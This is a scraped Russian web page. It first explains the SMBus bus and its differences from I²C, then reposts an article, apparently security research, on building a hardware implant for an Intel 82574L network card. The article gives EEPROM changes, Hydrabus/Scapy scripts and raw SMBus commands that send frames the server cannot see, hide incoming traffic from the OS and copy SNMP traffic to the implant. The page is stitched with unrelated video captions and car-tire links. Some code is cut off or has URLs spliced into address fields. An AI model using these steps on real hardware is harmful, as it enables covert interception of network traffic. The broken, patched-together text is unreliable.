Что такое smbus шина

Что такое smbus шина

Шина SMBus (System Management Bus — шина системного управления) является двухпро­водным интерфейсом для обмена данными между микросхемами различных систем­ных компонентов компьютера, а также связи их с самим компьютером. Основное назначение интерфейса — управление подсистемой питания, мониторинг оборудования и сопутствующих подсистем.

Шина SMBus создана на базе известного последовательного интерфейса I 2 C, эти две шины хотя и являются «близки­ми родственниками», но однако они имеют ряд электрических, конструктивных и протокольных отличий. Электрический интерфейс шин (табл. 1) достаточно близок, и при обычном (5 В) питании схем проблем совместимости по электрическим сигналам не возникает.

Что такое smbus шина

Протокольные различия более существенны. В обоих шинах ведущее устройство может и принимать и передавать данные. В SMBus ведущее устройство не имеет права повторного захвата шины ранее, чем через 50 мкс после начала передачи. Сигнал SCL в этой шине может удерживаться на низком уровне не дольше 2 мс. В шине SMBus ведущее устройство ожидает от ведомого устройства немед­ленного ответа. В шине SMBus и ведущее устройство, и ведомое устройство могут притормаживать обмен на уровне приема битов, что позво­ляет им вписываться в свои временные диаграммы (успевать «просыпаться», обрабатывать прерывания).

Первая версия спецификации SMBus вышла еще в 1995 г. Документ «System Management Bus (SMBus) Specification Version 2.0», выпущен форумом разработчиков си­стем с интеллектуальными батареями (SBS, www.sbs-forum.org), в который входит большое число производителей источников питания, а также фирма Intel. Специ­фикация покрывает три нижних уровня модели взаимодействия открытых сис­тем (OSI), от физического до сетевого (рис. 1).

Что такое smbus шина

Рис. 1. Уровни OSI

В шину введена возможность динамического реконфигурирования (подключения и отключения абонентов шины в процессе работы) и автомати­ческого назначения адресов устройств. По сравнению с шиной I 2 C в шине несколько изменены граничные требования к уровням сигналов и временным диаграммам, но в основном они совпадают. Шина позволяет реализовать все режимы обменов, разрешенные для I 2 C, но имеет нюансы в правилах генерации подтверждений. Для шины SMBus в BIOS имеется стандартизованная поддерж­ка. Особенностью шины SMBus, связанной с ее ролью в управлении системой питания, является способность автономной работы (соединяемые шиной устройства могут обмениваться информацией, даже когда питание на центральном процессо­ре и других подсистемах отсутствует). Конечно, о взаимодействии с устройства­ми шины через программы BIOS в таком состоянии нет и речи, поскольку процессор «спит» и не выбирает команды.

На физическом уровне (1-м уровне OSI) спецификация определяет электрические и временные параметры сигналов. По уровням сигналов (и нагрузочной способ­ности) имеются две различные спецификации. Маломощная (low power) специ­фикация соответствует «родному» применению SMBus в устройствах с батарей­ным питанием; здесь характерны малые токи. Мощная (high power) спецификация предназначена для работы абонентов SMBus в окружении источников значитель­ных помех (например, на плате PCI). Маломощные и мощные устройства на од­ной шине вместе работать в общем случае не смогут, но это и не требуется. При необходимости совместного использования устройств разных классов организу­ются разные сегменты шины, соединенные мостом.

В спецификациях временных параметров приняты меры по ограничению време­ни отклика и предотвращению «зависания» шины. Частота тактового сигнала ограничена и снизу (10 кГц), и сверху (100 кГц). Введены ограничения на макси­мальную длительность нахождения синхросигнала в высоком и низком состоянии и максимальную суммарную «растяжку» битовых интервалов на каждый байт. Предусматривается механизм тайм-аутов, по которому устройства, обнаружив­шие «зависание» шины, должны немедленно прекратить обмен и повторно ини­циализироваться.

Видео:✅ Анализ данных на SMBus I2C в ноутбуке на примере BQ24780sСкачать

✅ Анализ данных на SMBus I2C в ноутбуке на примере BQ24780s

Шина системного управления — System Management Bus

Bus Management System (сокращенно SMBus или SMB ) является несимметричной простой двухпроводной шиной с целью легкого общения. Чаще всего он встречается в материнских платах компьютеров для связи с источником питания для инструкций ВКЛ / ВЫКЛ.

Он основан на I²C для связи с устройствами с низкой пропускной способностью на материнской плате , особенно с микросхемами, связанными с питанием, такими как подсистема перезаряжаемых аккумуляторов портативного компьютера (см. Smart Battery System ). Другие устройства могут включать в себя датчики температуры, вентилятора или напряжения, переключатели крышки, тактовый генератор и RGB-освещение. Карты расширения PCI могут подключаться к сегменту SMBus.

Устройство может предоставлять информацию производителя, указывать свою модель / номер детали, сохранять свое состояние для события приостановки, сообщать о различных типах ошибок, принимать параметры управления и возвращать статус. SMBus обычно не настраивается или недоступен пользователем. Хотя устройства SMBus обычно не могут идентифицировать свою функциональность, новая коалиция PMBus расширила SMBus, включив в нее соглашения, позволяющие это.

SMBus была определена Intel и Duracell в 1994 году проводит часы, данные и инструкции и основан на Philips ‘ I²C протокол последовательной шины. Диапазон его тактовой частоты составляет от 10 кГц до 100 кГц. (PMBus расширяет это значение до 400 кГц.) Его уровни напряжения и тайминги определены более строго, чем у I²C, но устройства, принадлежащие двум системам, часто успешно смешиваются на одной шине.

SMBus используется в качестве межсоединения в нескольких стандартах управления платформами, включая ASF , DASH , IPMI .

SMBus используется для доступа к информации о конфигурации DRAM как часть обнаружения последовательного присутствия . SMBus превратился в широкий спектр вариантов использования системного перечисления, помимо управления питанием.

Видео:Sm контроллер шины что это, 1Скачать

Sm контроллер шины что это, 1

Совместимость SMBus / I²C

Хотя SMBus является производным от I²C, есть несколько основных различий между спецификациями этих двух шин в области электричества, синхронизации, протоколов и режимов работы.

Электрические

Входное напряжение ( В IL и В IH )

При смешивании устройств спецификация I²C определяет входные уровни от 30% до 70% от напряжения питания V DD , которое может составлять 5 В, 3,3 В или какое-либо другое значение. Вместо того, чтобы связывать входные уровни шины с V DD , SMBus определяет их как фиксированные на 0,8 и 2,1 В. SMBus 2.0 поддерживает V DD в диапазоне от 3 до 5 В. SMBus 3.0 поддерживает V DD в диапазоне от 1,8 до 5 В.

Потребляемый ток ( I OL )

SMBus 2.0 определяет класс «высокой мощности», который включает в себя потребляемый ток 4 мА, который не может управляться микросхемами I²C, если только подтягивающий резистор не рассчитан на уровни шины I²C.

Читайте также: Летние шины nokian nordman s2 suv 225 55 r18 98h

Устройства NXP имеют более высокий набор электрических характеристик мощности, чем SMBus 1.0. Основное отличие заключается в способности потребителя тока при V OL = 0,4 В.

  • SMBus малой мощности = 350 мкА
  • SMBus высокая мощность = 4 мА
  • I²C-bus = 3 мА

«Мощные» устройства SMBus и устройства I²C-bus будут работать вместе, если нагрузочный резистор рассчитан на 3 мА.

Частота ( F MAX и F MIN )

Тактовая частота SMBus определяется в диапазоне 10–100 кГц, в то время как I²C может составлять 0–100 кГц, 0–400 кГц, 0–1 МГц и 0–3,4 МГц, в зависимости от режима. Это означает, что шина I²C, работающая на частоте менее 10 кГц, не будет совместима с SMBus, поскольку устройства SMBus могут выйти из строя. Однако многие устройства SMBus поддерживают более низкие частоты.

SMBus 3.0 добавляет частоту шины 400 кГц и 1 МГц.

Сроки

  • SMBus определяет тайм-аут низкого уровня тактов, TIMEOUT, равный 35 мс. I²C не определяет никаких ограничений по тайм-ауту.
  • SMBus определяет T LOW: SEXT как время продления совокупного низкого тактового сигнала для ведомого устройства. I²C не имеет аналогичной спецификации.
  • SMBus указывает T LOW: MEXT как время продления совокупного низкого тактового сигнала для ведущего устройства. Опять же, I²C не имеет аналогичной спецификации.
  • SMBus определяет время нарастания и спада сигналов шины. I²C — нет.
  • Спецификации тайм-аута SMBus не препятствуют надежному взаимодействию устройств I²C с SMBus. Разработчик несет ответственность за то, чтобы устройства I²C не нарушали эти временные параметры шины.

Протоколы

Использование ACK и NACK

Существуют следующие различия в использовании сигнализации шины NACK: В I²C подчиненному приемнику разрешено не подтверждать адрес подчиненного устройства, если, например, он не может принимать, потому что он выполняет некоторую задачу в реальном времени. SMBus требует, чтобы устройства всегда подтверждали свой собственный адрес, как механизм для обнаружения съемного устройства на шине (аккумулятор, док-станция и т. Д.)

I²C указывает, что ведомое устройство, хотя оно может подтверждать свой собственный адрес, может решить через некоторое время в процессе передачи, что оно не может принимать больше байтов данных. I²C указывает, что устройство может указать это, генерируя неподтверждение в первом последующем байте.

Помимо индикации состояния занятости подчиненного устройства, SMBus также использует механизм NACK для индикации приема недопустимой команды или данных. Поскольку такое условие может возникнуть в последнем байте передачи, требуется, чтобы устройства SMBus имели возможность генерировать неподтверждение после передачи каждого байта и до завершения транзакции. Это важно, потому что SMBus не предоставляет никаких других сигналов повторной отправки. Это различие в использовании сигнализации NACK имеет значение для конкретной реализации порта SMBus, особенно в устройствах, которые обрабатывают критически важные системные данные, такие как хост SMBus и компоненты SBS.

Протоколы SMBus

Каждая транзакция сообщения на SMBus следует формату одного из определенных протоколов SMBus. Протоколы SMBus — это подмножество форматов передачи данных, определенных в спецификациях I²C. Устройства I²C, к которым можно получить доступ через один из протоколов SMBus, совместимы со спецификациями SMBus. К устройствам I²C, не поддерживающим эти протоколы, нельзя получить доступ стандартными методами, как определено в спецификациях SMBus и Advanced Configuration and Power Interface (ACPI).

Протокол разрешения адресов

SMBus использует аппаратную адресацию I²C и аппаратную адресацию I²C, но добавляет программное обеспечение второго уровня для построения специальных систем. В частности, его спецификации включают протокол разрешения адресов, который может выполнять динамическое распределение адресов. Динамическая реконфигурация аппаратного и программного обеспечения позволяет подключать устройства шины «в горячем режиме» и использовать их немедленно, без перезапуска системы. Устройства распознаются автоматически, и им присваиваются уникальные адреса. Это преимущество приводит к созданию пользовательского интерфейса plug-and-play. В обоих этих протоколах есть очень полезное различие между системным хостом и всеми другими устройствами в системе, которые могут иметь имена и функции ведущих или ведомых устройств.

Функция тайм-аута

SMBus имеет функцию тайм-аута, которая сбрасывает устройства, если связь занимает слишком много времени. Это объясняет минимальную тактовую частоту 10 кГц для предотвращения блокировки шины. I²C может быть шиной «постоянного тока», что означает, что ведомое устройство растягивает основные часы при выполнении некоторой процедуры, в то время как ведущее устройство обращается к ним. Это уведомит ведущее устройство о том, что ведомое устройство занято, но не хочет терять связь. Подчиненное устройство позволит продолжить работу после завершения своей задачи. В протоколе шины I²C нет ограничений на продолжительность этой задержки, тогда как для системы SMBus она ограничена 35 мс. Протокол SMBus просто предполагает, что если что-то длится слишком долго, это означает, что на шине возникла проблема и что все устройства должны перезагрузиться, чтобы сбросить этот режим. В этом случае ведомым устройствам не разрешается слишком долго удерживать часы на НИЗКОМ уровне.

Проверка ошибок пакета

SMBus 1.1 и более поздние версии определяют дополнительную проверку ошибок пакетов ( PEC ). В этом режиме байт PEC (код ошибки пакета) добавляется в конце каждой транзакции. Байт рассчитывается как контрольная сумма CRC-8 , рассчитанная для всего сообщения, включая адрес и бит чтения / записи. Используемый полином равен x 8 + x 2 + x + 1 ( алгоритм CRC-8- ATM HEC , инициализированный нулем).

SMBALERT #

SMBus имеет дополнительный необязательный общий сигнал прерывания, называемый SMBALERT #, который может использоваться ведомыми устройствами, чтобы сообщить хосту, чтобы он запрашивал его ведомые устройства об интересующих событиях. SMBus также определяет менее распространенный «протокол уведомления хоста», предоставляющий аналогичные уведомления, но с передачей большего количества данных и основанный на режиме с несколькими мастерами I²C.

Видео:Как устранить проблему с sm контроллер шиныСкачать

Как устранить проблему с sm контроллер шины

Поддерживать

Видео:Лекция 308. Шина I2CСкачать

Лекция 308.  Шина I2C

Смотрите также

Видео:Sm контроллер шины windows 7/32 bit chipset SM Bus controller and others driversСкачать

Sm контроллер шины windows 7/32 bit chipset SM Bus controller and others drivers

Рекомендации

Видео:Анализатор сигналов SMBus на примере контроллера заряда батареи ноутбука.Скачать

Анализатор сигналов SMBus на примере контроллера заряда батареи ноутбука.

внешняя ссылка

Эта статья основана на материалах, взятых из Free On-line Dictionary of Computing до 1 ноября 2008 г. и включенных в соответствии с условиями «перелицензирования» GFDL версии 1.3 или новее.

Видео:I2C SMBus Repeater PCA9515AСкачать

I2C SMBus Repeater PCA9515A

Делаем собственный имплант для электроники

История от Bloomberg о том, что на материнских платах якобы были установлены некие импланты [Китайцы использовали микрочип, чтобы контролировать американские компьютеры], не прошла незамеченной. После неё многие люди делились идеями по поводу возможности создания подобных имплантов (их предполагаемого размера, возможностей или способа их обнаружения).

Читайте также: Ниссан сброс ошибки по давлению шин

Через несколько дней журнал Bloomberg выпустил статью с дополнительными доказательствами. Вот что конкретно подогрело наш интерес:

Легальный сервер отправлял сообщения одним способом, имплант – другим, но казалось, что весь трафик происходит от одного доверенного сервера.

Существуют способы взаимодействия с сетевой картой прямо с материнской платы. Несколько людей указали на то, что можно поиграться с BMC (Baseboard Management Controller – компонент, разрешающий доступ к серверу помимо основного канала), что позволит импланту контролировать BMC и получать доступ к сетевой карте. Но как это работает на практике? Давайте посмотрим, сможем ли мы это воспроизвести.

Видео:Введение в шину I2CСкачать

Введение в шину I2C

Начальная позиция

Посмотрим на наличие возможных интерфейсов между NIC (сетевой платой) и BMC. Один из основных протоколов для работы по выделенному каналу – это интеллектуальный интерфейс управления платформой IPMI.

Википедия говорит, что IPMI — «интеллектуальный интерфейс управления платформой, предназначенный для автономного мониторинга и управления функциями, встроенными непосредственно в аппаратное и микропрограммное обеспечения серверных платформ. Ключевые характеристики IPMI — мониторинг, восстановление функций управления, журналирование и инвентаризация, которые доступны независимо от процессора, BIOS’a и операционной системы. Функции управления платформой могут быть доступны, даже если система находится в выключенном состоянии». Весьма похоже на то, что нам нужно.

На следующей блок-схеме показан возможный путь реализации проекта:

IPMI на самом деле определяет два Sideband-канала для NIC: SMBus и NC-SI. NC-SI – это современная замена SMBus, поддерживающая увеличенную скорость передачи данных и другие новые возможности. Проблема в том, что ей требуется больше сигналов (порядка 10), и в её работу гораздо сложнее вмешаться в случае, когда мы работаем с имплантом. Так что пока остановимся на SMBus.

SMBus

SMBus (System Management Bus) — последовательный протокол обмена данными для устройств питания. Односторонняя простая двухпроводная шина, обеспечивающая несложные коммуникации. Чаще всего используется в компьютерах для связи материнской платы с источником питания и отправки инструкций вида вкл/выкл. Основан на шине I 2 C, обычно использующейся в микроконтроллерах. Интерфейсу нужно всего два сигнала (тактовая частота и данные), и третий сигнал — прерывание. Идеально подходящий для игр с имплантом протокол.

Видео:Работа с логическим анализатором цифровой шины данныхСкачать

Работа с логическим анализатором цифровой шины данных

Первый контакт

Приходится проявлять смекалку, не имея доступа к материнской плате с BMC. Изучая технические характеристики серверных материнок, мы обнаружили, что некоторые из них используют чип Intel 82574L. Он, согласно документации, обеспечивает «SMBus advanced pass-through interface» – как раз то, что нужно. А что лучше всего, он бывает в формате карт PCI-E.

Доступ к SMBus

Мы сходили в магазин, и теперь у нас есть карточки Intel EXPI9301CTBLK с чипом 82574L. Что теперь?

В документации можно отследить SMB_DAT и SMB_ALRT_N. К счастью, все они оказались доступными на контактных площадках. Вроде бы всё достаточно легко.

Что такое smbus шина

NIC PCB. Слева вверху – EEPROM, справа вверху — коннектор для SMBus [ALRT|CLK|DAT]. Обратите внимание, что R39 и R40 отпаяны, что запрещает доступ к SMBus для коннектора PCIe.

Мы подключили зонд I 2 C и просканировали SMBus, но ничего полезного не считали. Документация говорит, что SMBus включается только при установке определённого битового регистра. Это значение загружается с EEPROM. Пришло время копнуть глубже.

Включаем доступ к SMBus

Нам снова помогает документация. Доступ к SMBus определяется значением регистра, загружаемого с NIC EEPROM. К счастью, EEPROM можно прочесть при помощи flashrom. Сбросив содержимое EEPROM, мы можем проанализировать и изменить значения:

> ./flashrom -p buspirate_spi:dev=/dev/hydrabus —read /tmp/flash.dump
flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org

Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip «W25X40» (512 kB, SPI) on buspirate_spi.
Reading flash. done.

Судя по NVM map (глава 6.1 документации), видно, что нам надо изменить два значения:

  • Init Control Word 2[MNGM] (Datasheet chapter 6.1.1.6)
  • Compatibility[ASF SMBus Connected] (Datasheet chapter 6.1.2.1.1)
  • Compatibility[SMBus Connected] (Datasheet chapter 6.1.2.1.1)

Нужно только учесть, что в EEPROM данные хранятся в формате little endian.

После этого нам надо ещё разобраться со значением Checksum. В главе 6.1.2.11 указано, что сумма всех слов в диапазоне [0x00-0x40] должна равняться 0xBABA. Немного Python поможет нам подсчитать правильную контрольную сумму:

import struct
data = open(‘/tmp/flash.mod’, ‘rb’).read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack(‘

И вот, наконец, все наши изменения для EEPROM:

00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h. 0.F.
00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i. k. Z.

00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e . 0.

После внесения изменений и прошивки EEPROM мы подсоединили I 2 C зонд и:

i2c1> scan
Device found at address 0x49
i2c1>

Адрес I 2 C кодируется в семи битах, требуемый нам адрес получается, как 0x49 [START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]

[START] и [STOP] – это условия START и STOP, определяемые протоколом I 2 C.

К примеру, команда на чтение MAC-адреса (описанная в главе 8.8.2.3) будет 0xD4. Отправляем команду в SMBus в режиме I 2 C:

[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]

При переводе в команды Hydrabus это будет:

i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK

И, да, мы получаем наш MAC-адрес!

Видео:Передача данных - шина SPIСкачать

Передача данных - шина SPI

Делаем имплант

Теперь, зная, как можно общаться с NIC, посмотрим, как можно использовать этот канал для кражи сетевого трафика и отправки данных по сети. В главе 8 документации описано всё, что нужно для этого.

Отправка пакетов

Описана в главах 8.6 и 8.8.1. Мы можем просто создать фрейм Ethernet при помощи команд. Вот пример скрипта для Hydrabus или Bus Pirate для отправки пакета:

import serial
import struct
from scapy.all import *

def send_frame(pkt):
# Define the frame size
pktlen = struct.pack(«B», len(pkt))

# Define the data length to be sent
fulllen = struct.pack(«>h», len(pkt)+3)

Читайте также: Снять ошибку давления в шинах киа рио 4

# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write(‘\x08’+fulllen+’\x00\x00’)
ser.write(«\x92\xc4″+pktlen+pkt)

# If packet has been sent successfully
if ser.read(1) == ‘\x01’:
print «Send OK»
else:
print «Error sending»
ser.write(‘\x00’)
ser.write(‘\x00’)
ser.write(‘\x0F\n’)
quit()

# Open Hydrabus in binary mode
for i in xrange(20):
ser.write(«\x00»)
if «BBIO1» not in ser.read(5):
print «Could not get into binary mode»
quit()

# Switch to I2C mode
ser.write(‘\x02’)
if «I2C1» not in ser.read(4):
print «Cannot set I2C mode»
quit()

#Create the frame to send
p = Ether(src=»https://habr.com/ru/post/429190/11:22:33:44:55:66″, dst=»ff:ff:ff:ff:ff:ff») / IP(src=»https://habr.com/ru/post/429190/10.31.32.82″, dst=»10.31.32.80″)/ICMP()

#Send the frame
send_frame(str(p))

# Return to main binary mode
ser.write(‘\x00’)
#reset to console mode
ser.write(‘\x0F\n’)

После выполнения скрипта можно увидеть пакет, идущий от машины с имплантом, и, что самое интересное, сам сервер вообще не видит этого пакета:

Tcpdump с машины атакующего слева, сервера – справа

Чтение пакетов

Фильтрация

Чтобы узнать, какие фреймы должны пойти в SMBus, NIC использует управляющие фильтры. Они сопоставляют трафик из сети, и либо перенаправляют его на PCIe, либо на SMBus, либо одновременно и туда и туда. С нашей точки зрения это даёт нам большую гибкость:

  • Можно отслеживать трафик, поставив фильтр, который будет его проверять и перенаправлять на PCIe и SMBus.
  • Можно заставить трафик исчезнуть, направив его только на SMBus.
  • Можно создать скрытый канал, который не будет виден серверу с имплантом.

Что самое интересное, фильтр можно настроить на отслеживание различных элементов фрейма:

  • UDP/TCP port
  • VLAN
  • IPv4 – IPv6
  • MAC address

(Полный список представлен в главе 8.4.2.1)

Доступно семь независимых фильтров MDEF[0:6], и каждый из них можно настроить на перенаправление соответствующего трафика на PCIe поверх SMBus при помощи регистра MANC2H (подробности в главе 8.4.3).

Реализация

Настроить всё правильно оказалось довольно сложно, мы пробовали множество различных комбинаций, чтобы заставить фильтр работать. К счастью, примечание к приложению от Intel дало нам больше деталей по поводу запуска фильтров нужным нам способом.

Используя наш I 2 C-зонд, мы можем настроить всё это четырьмя командами:

// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]
// Настроить MDEF[0] на получение фреймов, идущих к UDP/664 и UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// Настроить MANC2H на запрет перенаправления к ОС
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]

Как описано в главе 8.8.1.3, необходимо установить несколько битов для того, чтобы разрешить получение данных и для отправки фреймов обратно на наш имплант. Мы выбрали SMBus alert, поскольку другие модели позволяют сетевой карте осуществлять асинхронные запросы к SMBus (детали в главе 8.4.5).

Чтение фреймов

Поскольку мы использовали метод SMBus alert, нам нужно было ожидать отключения сигнала SMB_ALRT_N перед отправкой команды Receive TCO Packet. Если бы мы ждали слишком долго, пакет был бы отвергнут NIC.

Чтобы просто проиллюстрировать схему, мы будем отправлять фреймы периодически и отправлять команды на чтение – просто, чтобы подтвердить, что этот принцип работает. Схема выглядит так:

  • У сервера с имплантом установлены фильтры, отслеживающие трафик с UDP / 623 (глава 3.6.1.2).
  • Имплант симулируется при помощи Hydrabus.
  • Другой сервер отправляет пакеты, попадающие под фильтр, при помощи скрипта Scapy:

from scapy.all import *
p=Ether()/IP(dst=»10.31.32.81″)/UDP(dport=0x26f)/»MALICIOUS PAYLOAD»
while(1):sendp(p)

Получается нечто интересное:

Слева SMBus читает фрейм, данные фрейма показаны внизу. Справа tcpdump, работающий на сервере с имплантом, не показывает входящих фреймов.

Ретрансляция фреймов

Меняя регистр MANC2H, возможно сделать так, чтобы трафик, который отправляется на SMBus и PCIe, корректно отображался на сервере. К примеру, давайте создадим перехватывающий фильтр, реагирующий на трафик UDP/161 (SNMP) и отправляющий его на SMBus и PCIe:

// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]
// Создать флекс-фильтр 0 на порту 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// Настроить MDEF[0] на получение трафика, совпадающего с флекс-фильтром 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// Настроить MANC2H на разрешение перенаправления трафика MDEF[0] на PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]

Включив фильтры, мы можем отправить SNMP-запрос на сервер с имплантом и увидеть пакет, который перехватил имплант. При этом сервер отвечает на запрос – а значит, пакет был правильно перенаправлен на SMBus и PCIe:

Вверху – перехваченный SNMP-запрос с импланта. Внизу — SNMP-запрос дошёл до сервера.

Видео:Что означает маркировка на шинах! Значение цифр и букв на резине.Скачать

Что означает маркировка на шинах! Значение цифр и букв на резине.

Заключения

Мы описали возможный метод внедрения небольшого и недорогого микроконтроллера в качестве импланта на уровне NIC. Такому импланту нужны, по меньшей мере, четыре контакта (Vcc, GND, CLK, DAT), и он может управлять картой сервера. Среди его возможностей:

  • Прослушивание входящего сетевого трафика на сервер.
  • Получение команд из сети без ведома сервера.
  • Передача данных по сети без ведома сервера.

В нашем примере для простоты в качестве интерфейса для I 2 C/SMBus использовался Hydrabus, но это можно будет сделать так же легко и на небольшом микроконтроллере, например, ATtiny85 (он размером примерно с EEPROM для NIC).

Однако в реальной жизни доступ у такого импланта был бы только к SMBus. В зависимости от схемы материнской платы это устройство может быть единственным из доступных, и тогда взаимодействие с ОС сервера будет невозможно. В случае, когда требуется полный контроль над ОС, лучше всего будет изменить код BMC, поскольку у него и так уже есть доступ ко всем интересным шинам, и он не оставляет видимых следов на материнке.

Ещё один недостаток такого импланта состоит в том, что он может передавать данные на скорости порядка 100 Кб/с, чего недостаточно для полного изучения трафика. Кроме того, имплант способен перехватывать только трафик, приходящий из сети. В результате данное решение кажется неэффективным по сравнению с теми усилиями, которые требуются для его внедрения в оборудование цели.

  • Свежие записи
    • Нужно ли менять пружины при замене амортизаторов
    • Скрипят амортизаторы на машине что делать
    • Из чего состоит стойка амортизатора передняя
    • Чем стянуть пружину амортизатора без стяжек
    • Для чего нужны амортизаторы в автомобиле

    📽️ Видео

    Логический анализатор шины i2cСкачать

    Логический анализатор шины i2c

    Ролик 2.0. Входная цепь. Теория. BQ24780sСкачать

    Ролик 2.0. Входная цепь. Теория. BQ24780s

    Код 28 — для устройства не установлены драйверы в Windows 10 и Windows 7 (решение)Скачать

    Код 28 — для устройства не установлены драйверы в Windows 10 и Windows 7 (решение)

    25 Шина I2CСкачать

    25 Шина I2C

    Как правильно устанавливать шины при шиномонтажеСкачать

    Как правильно устанавливать шины при шиномонтаже

    Виды видеопамяти и сколько её нужно? Какая нужна шина?Скачать

    Виды видеопамяти и сколько её нужно? Какая нужна шина?

    Как ставить асимметричные #шины? #автоСкачать

    Как ставить асимметричные #шины? #авто

    Как выбрать шины | Учимся правильно выбирать шины | Как определить усиленную боковину шиныСкачать

    Как выбрать шины | Учимся правильно выбирать шины | Как определить усиленную боковину шины

    03. Основы устройства компьютера. Память и шина. [Универсальный программист]Скачать

    03. Основы устройства компьютера. Память и шина. [Универсальный программист]
Поделиться или сохранить к себе:
Технарь знаток